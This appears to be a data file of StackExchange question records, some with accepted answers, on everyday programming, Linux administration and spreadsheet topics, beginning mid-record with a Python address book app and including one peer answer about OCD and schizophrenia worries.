var_edit_name = input('Enter the contact name that you with to edit: \\r\\n').lower()    if var_edit_name in data.keys():        z = list(data[var_edit_name])  # Converts the tuple into a list to allow edits        cho_edit = choice_edit()        if cho_edit == 'a':            next_gen(z, 1, var_edit_name, print_call='address')        elif cho_edit == 'c':            next_gen(z, 2, var_edit_name, print_call='cell-number')        elif cho_edit == 'e':            next_gen(z, 3, var_edit_name, print_call='email')        elif cho_edit == 'q':            update(z, var_edit_name)            clear_dict()        else:            print('Please select a correct option\\r\\n')            edit_contact()    else:        print('No such name found\\r\\n')# Clears the memories of all the dictsdef clear_dict():    global dd, data, p_d_D, d_D    dd.clear()    data.clear()    p_d_D.clear()    d_D.clear()# Deletes an entrydef delete_contact():    make_eval2()  # Decrypts the dict to readable format    var_del_name = input('Enter the contact name that you with to delete: \\r\\n').lower()    if var_del_name in data.keys():        data.pop(var_del_name, None)        encrypt_dict(write=True)  # Encrypts the dict to unreadable format and stores it in the dict database        clear_dict()  # Clears the memories of all the dicts    else:        print('No such name found\\r\\n')# Initially checks if the dict db is empty or notdef initial_emptyness_checker():    make_eval()    if len(data) < 1:        print('Address book is currently empty\\r\\n')    else:        return True# Allows to quit from the appdef quit_here():    make_eval()    write_read_data('w', text=str(data))    quit()# Provides options to the user to choose a set of actiondef option_switcher():    options = {        1: add_contact,        2: search_contact,        3: delete_contact,        4: edit_contact,        5: print_all,        6: quit_here}    xx = ['Add contract', 'Search', 'Delete', 'Edit', 'Print all entries', 'Quit']    c = 1    for i in xx:        print('Option %d: %s' % (c, i))        c += 1    try:        select = int(input('\\nPlease select an option \\r\\n'))        if 1 <= select < 7:            options[select]()        else:            print('Options 1-6\\r\\n')    except ValueError:        print('Invalid option\\r\\n')        option_switcher()def main():    print('Welcome to AddressBookEXtREM V1 by AJ\\r\\n')    make_dict_file_to_write()    initial_emptyness_checker()    while True:        option_switcher()if __name__ == '__main__':    main()The above app allows a user to make contact lists and store them in the hard disk. Moreover, it provides security to the stored database file via encryption. User can anytime update or delete or edit stored contacts. Moreover, it provides the user to print out the searched item into a PDF file. The code is pretty long. I hope someone could suggest me to make it shorter or more efficient."  , "title": "Command based Address book app with encryption and store facilities"  , "tags": "python;cryptography"  } 
{  "id": "_webapps.46477"  , "question": "How can I show the name or email address for responses to form survey in the results spreadsheet?  We want to see each other's responses but results sheets seem to be anonymous and only show time stamps of responses, but no identifier."  , "title": "How to see names for survey responses?"  , "tags": "google forms"  } 
{  "id": "_cs.39871"  , "question": "While trying to improve the performance of my collision detection class, I found that ~80% of the time spent at the gpu, it spent on if/else conditions just trying to figure out the bounds for the buckets it should loop through.More precisely: each thread gets an ID, by that ID it fetches its triangle from the memory (3 integers each) and by those 3 it fetches its vertices(3 floats each). Then it transforms the vertices into integer grid points (currently 8x8x8) and transforms them into the triangle bounds on that gridTo transform the 3 points into bounds, it finds the min/max of each dimension among each of the pointsSince the programming language I am using is missing a minmax intrinsic, I made one myself, looks like this: procedure MinMax(a, b, c):   local min, max   if a > b:      max = a      min = b   else:      max = b      min = a   if c > max:      max = c   else:      if c < min:         min = c   return (min, max)So on the average it should be 2.5 * 3 *3 = 22.5 comparisons which ends up eating up way more time than the actual triangle - edge intersection tests (around 100 * 11-50 instructions). In fact, I found that pre-calculating the required buckets on the cpu (single threaded, no vectorization), stacking them in a gpu view along with bucket definition and making the gpu do ~4 extra reads per thread was 6 times faster than trying to figure out the bounds on the spot. (note that they get recalculated before every execution since I'm dealing with dynamic meshes)So why is the comparison so horrendously slow on a gpu?"  , "title": "Why are comparisons so expensive on a GPU?"  , "tags": "computer architecture;parallel computing"  , "accepted_answer": "GPUs are SIMD architectures.  In SIMD architectures every instruction needs to be executed for every element that you process.  (There's an exception to this rule, but it rarely helps).So in your MinMax routine not only does every call need to fetch all three branch instructions, (even if on average only 2.5 are evaluated), but every assignment statement takes up a cycle as well (even if it doesn't actually get executed).This problem is sometimes called thread divergence.  If your machine has something like 32 SIMD execution lanes, it will still have only a single fetch unit.  (Here the term thread basically means SIMD execution lane.)  So internally each SIMD execution lane has a I'm enabled/disabled bit, and the branches actually just manipulate that bit.  (The exception is that at the point where every SIMD lane becomes disabled, the fetch unit will generally jump directly to the else clause.)So in your code, every SIMD execution lane is doing:compare (a > b)assign (max = a if a>b)assign (min = b if a>b)assign (max = b if not(a>b))assign (min = a if not(a>b))compare (c > max)assign (max = c if c>max)compare (c < min if not(c>max))assign (min = c if not(c>max) and c<min)It may be the case that on some GPUs this conversion of conditionals to predication is slower if the GPU is doing it itself.  As pointed out by @PaulA.Clayton, if your programming language and architecture has a predicated conditional move operation (especially one of the form if (c) x = y else x = z) you might be able to do better.  (But probably not much better).Also, placing the c < min conditional inside the else of c > max is unnecessary.  It certainly isn't saving you anything, and (given that the GPU has to automatically convert it to predication) may actually be hurting to have it nested in two different conditionals."  } 
{  "id": "_softwareengineering.26375"  , "question": "For solo projects, do you keep your build / management tools on your local machine, or on a separate server? If the server is not guaranteed to be safer or more reliable than my own machine I struggle to see the point, but maybe I'm missing some things.Note that I'm not debating the value of continuous integration or having a staging environment etc.. just the question of whether it exists on separate hardware."  , "title": "Separate servers vs local machine for builds, issue tracking etc on solo project"  , "tags": "tools;personal projects"  , "accepted_answer": "That depends, I would say.Pro local machine:Works without net.Easier to maintain.Pro separate server:Some tools (continuous integration) may cause load that is annoying on your local machine.You can access your tools from different machines.You have a copy of your data on a different machine."  } 
{  "id": "_codereview.14699"  , "question": "My application hangs up on IE and mobile browsers when these functions are fired. Is there anything that stands out as being obviously performance-killing?$this.find('input.bundle-check').live('change', function() {    var $box = $(this),    ntn = $box.data().ntn,    price = $box.data().price,    savings = $box.data().savings;    if ($box.is(':checked')) {        productsBundled[ntn] = {            price     :   price,            savings   :   savings,            ntnid     :   ntn,            qty       :   1        };         $box.siblings('label').text(' Selected')        $box.closest('.grid-product').fadeTo(300, 0.5)    } else {        $box.siblings('label').text(' Add Item');        delete productsBundled[ntn];        $box.closest('.grid-product').fadeTo(300, 1.0)    }    refreshSelectedItems(productsBundled);    $this.find('.itemCount').text(concat('(',objectCount(productsBundled),')'));})function refreshSelectedItems(products, remote) {    var itemntns = [], totalPrice=0.00, totalSavings=0.00;    products = products || {};    remote = remote || 2;    if (objectCount(products) > 0) {        $.each(products, function(i, item) {            $qtyBox = $('.selected-item[data-ntn=' + i + '] .cartqty');            itemntns.push(i);            totalPrice += (item.price * ($qtyBox.val() || 1));            totalSavings += (item.savings * ($qtyBox.val() || 1));                    // console.log('qtyBox', $qtyBox.val())                });         if(remote > 1) {            $.ajax({                url: '/Includes/pageHelper.cfc',                type: 'post',                async: true,                data: {                    method: getBundleSelectedItems,                    productList: itemntns.join(',')                },                success: function(data) {                    var $container = $('.selected-items > span');                    $container.html(data);                    $.each($container.find('.selected-item'), function() {                        var myntn = $(this).data().ntn,                        $price = $(this).find('.price'),                        $bunPrice = $('<span />').addClass('bundle-price');                        $(this).find('.cartqty').val(productsBundled[myntn].qty);                        if (productsBundled[myntn].savings > 0) {                            $bunPrice.text(concat(' $', productsBundled[myntn].price.toFixed(2)));                            $(this).find('em').hide();                            $price.after($bunPrice.after($('<span />').addClass('sale').text(concat(' You save $', productsBundled[myntn].savings.toFixed(2), '!'))));                        }                    })                }            })        }    } else {        $('.selected-items > span').html('');    }    $this.find('.bundle-saving').text(concat($, totalSavings.toFixed(2)));    $this.find('.bundle-addons').text(concat($, totalPrice.toFixed(2)));    totalPrice = totalPrice + (parseFloat($('.original-products > div:has(:checked)').data().price) * parseInt($('.original-products > div:has(:checked) .cartqty').val()));    $this.find('.bundle-total').text(concat($, totalPrice.toFixed(2)));}"  , "title": "Functions Giving Performance Issues"  , "tags": "javascript;jquery"  , "accepted_answer": "There are a few things which stand out to me:var $box = $(this),ntn = $box.data().ntn,price = $box.data().price,savings = $box.data().savings;You use $box.data() several times; it may be faster to cache the return value of that function. if ($box.is(':checked')) {:checked is not a standard CSS selector, so it will be slower than simply:if (this.checked) {Later, you used                $.each($container.find('.selected-item'), function() {I'm not sure if it's faster, but you could just do:                $container.find('.selected-item').each(function() {Finally, this line:totalPrice = totalPrice + (parseFloat($('.original-products > div:has(:checked)').data().price) * parseInt($('.original-products > div:has(:checked) .cartqty').val()));The :has selector is not standard CSS, so it can't use browsers' native functions. instead, consider using the has() method instead:totalPrice = totalPrice + (parseFloat($('.original-products').children('div').has(':checked').data().price) * parseInt($('.original-products').children('div').has(':checked').find('.cartqty').val(), 10));Note that I also added the radix argument to parseInt. A micro-optimization at best, but it does mean the JS engine doesn't need to guess.Hope that helps."  } 
{  "id": "_webmaster.93063"  , "question": "I want to re-direct all requests to http://subdomain.example.com to http://www.example.comWhat should the code be?"  , "title": "301 redirect a subdomain to the root domain with www"  , "tags": "htaccess;301 redirect"  } 
{  "id": "_codereview.94694"  , "question": "I'm new to C# (coming from a JavaScript background) and it seems like this code could be greatly improved.This SQL query:SELECT RegionString,SubRegionString,CountryString,COUNT(*) AS sizeFROM tableGROUP BY RegionString,SubRegionString,CountryStringReturns:RegionString SubRegionString CountryString Size-----------------------------------------------Americas                                  2Americas   NorthAmerica    Canada         5Americas   NorthAmerica    US             3Americas   SouthAmerica    Chile          3EMEA       AsiaPacific     Australia      2EMEA       AsiaPacific     Japan          1EMEA       SouthernEurope  Turkey         1EMEA       WesternEurope                  1I made this C# code:public class NameChildObject{    public string name { get; set; }    public int size { get; set; }    public List<NameChildObject> children { get; set; }    public NameChildObject()     {        children = new List<NameChildObject>();    }}public ActionResult ByRegion(){    var returnResults = new List<NameChildObject>();    var uniqueRegions = (from row in repository.GetAllEntities()                         select row.RegionString).Distinct();    foreach (string region in uniqueRegions)    {        returnResults.Add(new NameChildObject() { name = region });        var uniqueSubRegions = (from row in repository.GetAllEntities()                                where row.RegionString == region                                select row.SubRegionString).Distinct();        foreach (string subRegion in uniqueSubRegions)        {            var regionObject = returnResults.Find(row => row.name == region);            var countryInfo = (from row in repository.GetAllEntities()                               where row.SubRegionString == subRegion                               group row by row.CountryString into g                               select new NameChildObject() { name = g.Key, size = g.Count() });            regionObject.children.Add(new NameChildObject() { name = subRegion, children = countryInfo.ToList()});        }    }    return Json(returnResults, JsonRequestBehavior.AllowGet);}To convert the data into this format:[    {        name: Americas,        size: 0,        children: [            {                name: ,                size: 0,                children: [                    {                        name: ,                        size: 2,                        children: []                    }                ]            },            {                name: NorthAmerica,                size: 0,                children: [                    {                        name: Canada,                        size: 5,                        children: []                    },                    {                        name: US,                        size: 3,                        children: []                    }                ]            },            {                name: SouthAmerica,                size: 0,                children: [                    {                        name: Chile,                        size: 3,                        children: []                    }                ]            }        ]    },    {        name: EMEA,        size: 0,        children: [            {                name: AsiaPacific,                size: 0,                children: [                    {                        name: Australia,                        size: 2,                        children: []                    },                    {                        name: Japan,                        size: 1,                        children: []                    }                ]            },            {                name: SouthernEurope,                size: 0,                children: [                    {                        name: Turkey,                        size: 1,                        children: []                    }                ]            },            {                name: WesternEurope,                size: 0,                children: [                    {                        name: ,                        size: 1,                        children: []                    }                ]            }        ]    }]"  , "title": "Converting table data into nested JSON"  , "tags": "c#;asp.net;json;entity framework;linq to sql"  } 
{  "id": "_unix.200199"  , "question": "I want to set up dnsmasq on a Raspberry Pi to use as a DNS server for my home network. My goal is to have a setup where when a new device is connected to the home network, it can be addressed by its hostname without modification to anything on the PiSo as an example, say I have a machine with mymachine in /etc/hostsname, and I then plug it in to my network with an ethernet cable (and tell it where the DNS server is of course). I should then be able to go to some other machine on the network and do ping mymachine.lan.mydomain and have it ping mymachine. So I guess for this to work the DHCP server would updated the DNS server?Does dnsmasq do this automatically when it is set up to be the DHCP server for the LAN as well?"  , "title": "Does dnsmasq automatically update when running as a dhcp server as well?"  , "tags": "dns;dhcp;dnsmasq"  } 
{  "id": "_webapps.87897"  , "question": "I have a sheet/tab that contains nothing but a single column where each row is a word, let's call it wordlist.In another sheet/tab, I would like to make it so that for one of the columns, if the value matches ANY of the values from wordlist, that the cell is highlighted (or the input is rejected).It is quite easy to do the opposite of this but I can't figure this one out. I have tried looking up how to do it and I have been messing around with custom formulas for a while now but I can't seem to figure it out."  , "title": "Highlight/reject cells that contain any of the values from another sheet"  , "tags": "google spreadsheets"  } 
{  "id": "_cogsci.15592"  , "question": "So I was sleeping on a road trip and I had to wake up to go to the restroom at a gas station we stopped at. I walked in like a zombie and the cashier sheepishly said hello to me. I took it that he was nervous and then my brain started coming up with some scenario that he was being held hostage by someone, told not to call the police and was somewhere in the store. As I was going to the restroom I sort of convinced myself that this was actually happening and I started to get kind of nervous. Later I realized that the only reason the cashier seemed nervous was because I walked in like I had just risen from the dead. Which got me worried again thinking I'm starting to develop some form of schizophrenia. I'm 16 years old and have been diagnosed with OCD in the past. I know this is a better question for a professional but I figured this would give me a quick reassurance for concern or if that was just an ocd sort of thing. I will be talking to a doctor and my parents afterward I just trust stack exchange's opinion for now. Thank you"  , "title": "Is it common for OCD sufferers to experience schizophrenic episodes"  , "tags": "schizophrenia"  , "accepted_answer": "As someone who has had OCD since the age of 12, I can assure that this sounds very much like an OCD symptom. It is likely that you walked into the store like a zombie, and at the time, did not consider your personal appearance, assuming only that the store owner was acting strange. However, if you had been aware of the way you were acting, you would have likely picked up on this instantly and dismissed it. Unless we are salient to our own features, we are unaware of how others are perceiving us. Your ability to gauge your salience was likely decreased due to just waking up from your nap.As an OCD sufferer, I've definitely had bouts where I was concerned I was developing schizophrenia, only to realize later that I was hyper-aware of every little sign that pointed in that direction. If this is an ongoing worry of yours, confirmation bias will likely amplify the most ambiguous of symptoms related to losing your mind.Let's get a little further into schizophrenia, however. The Diagnostic and Statistical Manual - IV (yes, the old one, though the symptoms have not changed much) states:Characteristic symptoms: Two or more of the following, each present for much of the time during a one->month period (or less, if symptoms remitted with treatment).DelusionsHallucinationsDisorganized speech, which is a manifestation of formal thought disorderGrossly disorganized behavior (e.g. dressing inappropriately, crying  frequently) or catatonic behaviorNegative symptoms: Blunted affect (lack or decline in emotional response)Alogia (lack or decline in speech)Avolition (lack or decline in motivation)Imapaired communication (due to hearing voices)Social or occupational dysfunction: one or more major areas of functioning, work, interpersonal relations, self-care, are markedly below the level achieved prior to the onset.Significant duration: Continuous signs of the disturbance persist for at least six months. This six-month period must include at least one month of symptoms (or less, if symptoms remitted with treatment).If signs of disturbance are present for more than a month but less than six months, the diagnosis of schizophreniform disorder is applied. Psychotic symptoms lasting less than a month may be diagnosed as brief psychotic disorder, and various conditions may be classed as psychotic disorder not otherwise specified. First and foremost hallucinations and delusions are NOT something that you are able to identify. Schizophrenia leaves the sufferer out of touch with reality. The sufferer believes in their hallucinations and delusions with every fibre of their body, they don't simply think that they are hallucination or becoming deluded. That being said, no, you are not developing schizophrenia. If you were, you wouldn't know it, and once you found out that you had it, you'd be the last one to know.Note positive and negative symptoms, are not good and bad. Think of a positive symptom as an addition to one's life (the addition of delusions), and a negative symptom as something that's being taken away from one's life (motivation). If you read further down the DSM criteria, you will see that one-off events like this do not substantiate a diagnosis of schizophrenia. However, a brief psychotic episode is still possible, possible, but extremely highly unlikely based on the fact that you have a great amount of insight (self-knowledge) of what was going on with you in the store."  } 
{  "id": "_unix.375379"  , "question": "I am using the Ubuntu system and I want to install mplayer for my own use only.  Can I install it without the superuser (root) rights?"  , "title": "Is it possible to install mplayer without superuser rights"  , "tags": "software installation"  } 
{  "id": "_codereview.25673"  , "question": "private static List<ConstrDirectedEdge> kruskalConstruct(ConstructionDigraph CG) {    int current = CG.srcVertexIndex();    boolean visited[] = new boolean[CG.V()];    visited[current] = true;    UF uf = new UF(CG.V());    List<ConstrDirectedEdge> feasibleNeighbours = new ArrayList<ConstrDirectedEdge>();    List<ConstrDirectedEdge> solution = new ArrayList<ConstrDirectedEdge>();    do {        /* clear neighbours from prev iteration */        feasibleNeighbours.clear();        /* build feasible neighbour list */        for (ConstrDirectedEdge directedEdge : CG.adj(current)) {            int v = CG.getVertex(directedEdge.to()).getSource();            int w = CG.getVertex(directedEdge.to()).getDestination();            if (!visited[directedEdge.to()] && !uf.connected(v, w)) {                feasibleNeighbours.add(directedEdge);            }        }        //TODO: code smell        if (feasibleNeighbours.isEmpty()) {            break;        }        /* calculate the probability for each neighbour */        double R = calculateR(feasibleNeighbours);        System.out.println(R for source is :  + R);        for (ConstrDirectedEdge feasibleneighbour : feasibleNeighbours) {            feasibleneighbour.calcProbability(R, alpha, beta);        }        /* pick a neighbour */        ConstrDirectedEdge pickedUp = choiceEdgeAtRandom(feasibleNeighbours);        visited[pickedUp.to()] = true;        current = pickedUp.to();        solution.add(pickedUp);        uf.union(CG.getVertex(current).getSource(),   CG.getVertex(current).getDestination());    } while (!feasibleNeighbours.isEmpty());    return solution;}I want to eliminate the code smell that is the break in the middle of the loop. As can be seen I have chosen to use a do {} while() in order to do the initialization with the initial node being CG.srcVertexIndex(). What I was thinking about is make the following code:        for (ConstrDirectedEdge directedEdge : CG.adj(current)) {            int v = CG.getVertex(directedEdge.to()).getSource();            int w = CG.getVertex(directedEdge.to()).getDestination();            if (!visited[directedEdge.to()] && !uf.connected(v, w)) {                feasibleNeighbours.add(directedEdge);            }        }into a separate function that will be returning a List<ConstrDirectedEdge> and then the loop can turn into:while(!(feasibleNeighbours = getFeasibleNeighbours(CG, visited,  uf)).isEmpty()) {/* calculate the probability for each neighbour *//* pick a neighbour */}But then I will have to pass visited and uf as parameter which in fact are going to be manipulated by getFeasibleNeighbours functions - in essence I will be using input parameters to store output state which is not a good idea.Finally I could just make visited and uf static private vars and just reinitialize them when needed and use them directly, but again this seems kind of wrong.The code is working fine, however I'd like to hear opinions on how this can be made more readable."  , "title": "Simplifying finding neighbors in graph"  , "tags": "java;graph"  } 
{  "id": "_unix.338992"  , "question": "I have successfully created Live USB with Kali Linux and booted up on my Macbook Pro 13, Mid 2014. Everything works perfect, except one thing: my internal wireless card isn't detected by Kali, thus I cannot connect to Wi-Fi.Have gone through these manuals: https://pentestmac.wordpress.com/2015/11/28/kali-linux-broadcom-wireless-on-macbook/https://forums.kali.org/showthread.php?25240-Macbook-Pro-Kali-Mac-OS-Dual-Boot-Install-Guide-amp-WiFi-Guideeverything goes well, but fails on last command, which is modprobe wl. I get this error: FATAL: Module wl not found.Somebody has experience with it, is it possible to detect internal wireless card on Mac in Kali Linux, or do I have to buy an external USB wireless adapter?Thanks a lot for any help."  , "title": "Wi-Fi not working on Kali Linux (Macbook Pro 13, Mid 2014)"  , "tags": "wifi;kali linux;macintosh"  } 
{  "id": "_webmaster.87515"  , "question": "I am building a Product comparison web/application into my website. It will compare products by specs, price etc. I am wondering if there any dangers of not making a user log in before using the web page. Ie crawlers going crazy and query the database lots of times? Otherwise, I would be letting any guest user add products to the comparison 'basket' and comparing them.Edit: I don't want to block robots access to the page either, as I think this could be good for SEO purposes.Is there any dangers of not making users log in to use it?"  , "title": "Is there SEO value or danger when creating product comparison functionality?"  , "tags": "seo;web development;web crawlers"  } 
{  "id": "_softwareengineering.210125"  , "question": "This is related to this question but not quite the same. BTW, I'm not a native English speaker.I keep having a hard time choosing a proper name for collections - Lets say that we have a collection of item s and that each item has a name. How will we call the collection of names such that the collection's name will be the most understandable under standard naming conventions?var itemNames = GetItemNames(); // Might be interpreted as a single item with many namesvar itemsNames = GetItemsNames(); // No ambiguity but doesn't look like proper Englishvar itemsName = GetItemsName(); // Also sounds strange, and doesn't seem to fit in e.g. a loop:foreach( itemName in itemsName){...}As native English speakers, how would you name your collections, and how would you expect them to be named?"  , "title": "collection naming - singular or plural"  , "tags": "naming;naming standards;collections"  , "accepted_answer": "What about GetNamesOfItems?Otherwise, GetItemNames can be a good alternative, if the documentation is clear about what is being returned. This also depends on the items itself:GetPersonNames is not clear, since a person can have multiple names,GetProductNames is more explicit in a context where a product can have one and one only name.GetItemsNames looks indeed quite strange.GetItemsName is simply incorrect: we expect as a result a common name shared by multiple items, not a sequence of names.As an example, take a method which returns the prices of products in a category:public Money[] NameHere(CategoryId categoryId) { ... }GetProductPrices could have been interpreted in two ways: either it returns the prices of products, or several prices of a product, one price per currency. In practice, given that the parameter of the method is a category, and not a single product, it is obvious that the first alternative is true.GetPricesOfProducts appears the most clear alternative. There are zero or more products in a category, and for each, we return its price. The only issue is the case when there are actually several prices per product, one price per currency.GetProductsPrices looks strange, but is still clear.GetProductsPrice looks totally wrong: we expect such method to return Money, not Money[].Also note that in the example above, it may be even better to slightly change the signature itself:public Tuple(ProductId, Money)[] GetPricesOfProducts(CategoryId categoryId) { ... }appears easier to understand and removes the ambiguity described in the second point."  } 
{  "id": "_unix.88277"  , "question": "(Edited to clarify the role of Emacs in the problem with the display.)My current gnu-screen session has gotten corrupted somehow, and Emacs fails to display UTF-8 characters properly.I've confirmed that in freshly-started gnu-screen processes, Emacs displays UTF-8 characters properly, but at the moment it would be very disruptive to replace the corrupted gnu-screen session with a new one, and insteadI'm looking for ways to further troubleshoot the problem with this corrupted gnu-screen session, and hopefully fix it.FWIW, I give more background below, including a description of what I've done so far to diagnose the problem.I started this gnu-screen session several days ago at my OS X workstation at work with% screen -U...(as I always do).  Since then I have re-attached this session from several machines (possibly after first ssh-ing to my workstation at work) using% screen -U -dR(again, this is what I always do).  I did precisely this this morning at my workstation at work (the machine where the gnu-screen process is actually running).Today, for the first time since I created this gnu-screen session, I needed to work with files that contain a lot of non-ascii UTF-8 characters.  It was then that I discovered that this gnu-screen session must have gotten corrupted somehow, because it displays all these characters as ?, resulting in an unusable display.(As I already alluded to, these UTF-8-rich files are displayed correctly by freshly-started gnu-screen sessions, so I'm pretty sure that the display problem is with the particular gnu-screen session that here I'm calling corrupted.  Also, I confirmed that the ??? display shows up in every terminal that I have attached the gnu-screen session from, so the problem is not with the terminal program hosting the gnu-screen session.  Lastly, I also confirmed that the problem is not with one particular Emacs session: in the corrupted gnu-screen session, every new Emacs sessions displays the UTF-8 characters as ?, which argues against the problem being with a particular Emacs session.)I've confirmed that utf8 is on by running:utf8 on onThe output of :info is(1,5)/(210,52)+10000 +(-)flow app log UTF-8 0(zsh)And, FWIW:% /usr/local/bin/screen --versionScreen version 4.00.03 (FAU) 23-Oct-06Also, I should point out that newWhat else can I do to troubleshoot this problem?UPDATE: Drav Sloan and Stephane Chazelas both asked about my locale settings:% localeLANG=LC_COLLATE=CLC_CTYPE=CLC_MESSAGES=CLC_MONETARY=CLC_NUMERIC=CLC_TIME=CLC_ALL=Currently, for OS X I don't set any locale-related variables.On Linux systems, my .zshenv does setexport LANG=en_US.utf8export LC_ALL=en_US.utf8...but if I put the same lines in my .zshenv on Darwin, I get error messages to the effect that setting locale failed.  I vaguely remember bashing my skull for several hours over the problem of finding the right locale settings for Darwin/Lion.  It may have been that setting nothing emerged as the least awful solution to the problem and, after all, at least fresh gnu-screen sessions do display UTF-8 characters correctly, even in the absence of an explicit locale setting.  But clearly I need to figure out how to properly set locale in Darwin/Lion...UPDATE2:  OK, I think I figured out the reason for the errors I mentioned above: in Darwin/Lion, the string en_US.utf8 is invalid; instead it should be en_US.UTF-8."  , "title": "Corrupted gnu-screen session not displaying UTF-8 correctly"  , "tags": "terminal;emacs;gnu screen"  } 
{  "id": "_unix.113538"  , "question": "I have Oracle XE 10.0.2 installed on my development system.Recently I have been unable to restart it:$ sudo /etc/init.d/oracle-xe stopShutting down Oracle Database 10g Express Edition Instance.Stopping Oracle Net Listener.$ sudo /etc/init.d/oracle-xe startStarting Oracle Net Listener.Starting Oracle Database 10g Express Edition Instance.$ sqlplus SQL*Plus: Release 10.2.0.1.0 - Production on Tue Feb 4 19:54:53 2014Copyright (c) 1982, 2005, Oracle.  All rights reserved.Enter user-name: hrEnter password: ERROR:ORA-01089: immediate shutdown in progress - no operations are permittedSo I tried killing off all oracle processes by hand:$ sudo killall oracle tnslsnrThis kills the processes (they are no longer listed in ps). I then try starting Oracle again:$ sudo /etc/init.d/oracle-xe startStarting Oracle Net Listener.Starting Oracle Database 10g Express Edition Instance.SQL*Plus gives the same error./usr/lib/oracle/xe/app/oracle/admin/XE/bdump/alert_XE.log says:Starting Oracle Database 10g Express Edition Instance.Tue Feb  4 19:59:30 2014Starting ORACLE instance (normal)I have not reconfigured Oracle recently, but I have shut it down hard (power off), so it may be in a inconsistent state that I need to force it to recover from."  , "title": "Oracle: ORA-01089: immediate shutdown in progress - no operations are permitted"  , "tags": "oracle database"  , "accepted_answer": "A complete guide on how to get Oracle on GNU/Linux unstuck from ORA-01089 is here.The idea is basically to log in to Oracle as sysdba and issue a shutdown command (oracle user in OS is the standard in this example from the link provided):root# sudo su - oracleoracle$ sqlplusSQL*Plus: Release 10.2.0.1.0 - Production on Sun Feb 9 15:16:09 2014Copyright (c) 1982, 2005, Oracle.  All rights reserved.Enter user-name: / as sysdbaConnected to:Oracle Database 10g Express Edition Release 10.2.0.1.0 - ProductionSQL> shutdown abortORACLE instance shut down.In a single line:echo shutdown abort | sudo su - oracle -c sqlplus / as sysdbaIf this does not work try some of the spells on https://dba.stackexchange.com/questions/15888/oracle-shutdown-method and finish up with:/etc/init.d/oracle-xe stop/etc/init.d/oracle-xe start"  } 
{  "id": "_unix.310534"  , "question": "so have to program in R a table of data about temperature FOr R to read it correctly it needs to be sorted according to the pdf of lecture notes like the picture belowthe file is one column with all the data. Need to loop a few times to put into columns at the end the last 2 loops will iterate minus one becuase there are 2 missing enrtries.[1][7][13][19][25][31][37][43][49][55][61][67][73][79][85][91][97][103][109][115][121][127][133]-0.367918-0.451778-0.556487-0.505967-0.663492-0.624129-0.531023-0.469536-0.416556-0.347795-0.152032-0.251405-0.218081-0.133076-0.393492-0.207025-0.323398-0.0614220.1291840.0921310.1773810.3629600.370861-0.317154-0.498811-0.568014-0.368630-0.535226-0.675199-0.551480-0.455500-0.538602-0.383147-0.050356-0.297744-0.146923-0.184608-0.322453-0.322901-0.0460980.0990610.0509260.2110060.2969120.3603860.416356-0.317069-0.403252-0.526737-0.315155-0.457892-0.570521-0.444860-0.489551-0.339823-0.356958-0.095295-0.296136-0.358796-0.222896-0.267491-0.216440-0.131010-0.0938730.1861280.0741930.3518740.2913700.491245-0.393357-0.353712-0.475364-0.387099-0.617208-0.558340-0.444257-0.385962-0.316963-0.262097-0.088983-0.303984-0.377482-0.165795-0.257946-0.080250-0.016080-0.1090970.1595650.2691070.3636500.3856380.650217-0.457649-0.577277-0.340468-0.494861-0.684107-0.379505-0.451256-0.305391-0.360309-0.2720090.044418-0.405346-0.441748-0.154384-0.274517-0.3165830.021495-0.0153740.0108360.3849350.3294360.453061-0.468707-0.504825-0.367002-0.585158-0.672176-0.308313-0.388185-0.393436-0.486954-0.257514-0.073264-0.255647-0.194232-0.137509-0.151345-0.2416720.0576380.1254500.0386290.1947620.4084090.325297"  , "title": "sort text data into correct columns using commands"  , "tags": "command line;text formatting"  } 
{  "id": "_unix.109671"  , "question": "I'd like to have a local directory be mounted upon logging into a remote server via SSH. So if I were to ssh into foo.bar.com as user baz then there would be a directory mounted in /home/baz/roaming - that corresponds to my local workstations roaming dir - for the length of my connection.My local workstation in this case is a Mac, but the methodology is likely more generally *nix in nature. Most likely an SSH wrapper would be necessary that performs some sort of mount related actions after a new ssh connection occurs.Has anyone done this? Suggestions or existing utilities would be very helpful!"  , "title": "Mount a workstation dir upon login to server over ssh"  , "tags": "ssh;mount"  } 
{  "id": "_unix.257733"  , "question": "I need grep's output to be indented with tabs/spaces.  This is the plain, un-indented version:  MyCmd | grep id:I tried this without success:MyCmd | grep id: | echo    "  , "title": "How to indent grep's output?"  , "tags": "grep;indentation"  , "accepted_answer": "You could do it with awk instead of grep if that's acceptable:MyCmd | awk '/id:/ {print     $0}'or if you need grep, sed could help:MyCmd | grep id: | sed -e 's/^/   /'The awk version does its own pattern match for lines that contain id: and then will print the spaces before the line.  The sed version does the grep as you already did it but then replaces the start of each line (regex ^ matches the start of a line) with the spaces"  } 
{  "id": "_unix.213611"  , "question": "I love file. I use it multiple times a day. I love it so much that I install Cygwin on my Windows machines just so I can use it. Anyway, in going through older files on my system, I find there are many files that just report data from the file command. Understandably.Some of these files however do have an indicator in their header of what kind of file they are, but are not found in the magic file database yet. My questions are three-fold:Is there an online repository of magic file definitions that I can use to supplement or update the default ones that came with my OS? (My folder /usr/share/file/magic shows the most recent entry as almost one year ago, and I know people are continually updating these definitions)How can I submit a new definition that I've developed so that the rest of the *nix community can benefit? The online repo?Is it as simple as dropping the magic definition file in the folder, and my OS will magically find it, or do I have to somehow rebuild the definition library? Do I have to do anything with the magic.mgc file, or just the folder of individual definitions?Thank you ahead of time for your help."  , "title": "Update magic file list and/or submit my own"  , "tags": "linux"  , "accepted_answer": "In the past I've had changes included in the magic file by submitting a Debian bug report but it's probably faster to submit them upstream directly.In answer to your questions:The latest released source can be found here - there's a link to a mirror of the source repo there. Yes, I believe either submitting a bug report or emailing the mailing list should be all that's needed to add a file definition.You can create your own magic file and point file file to it by using the -m option."  } 
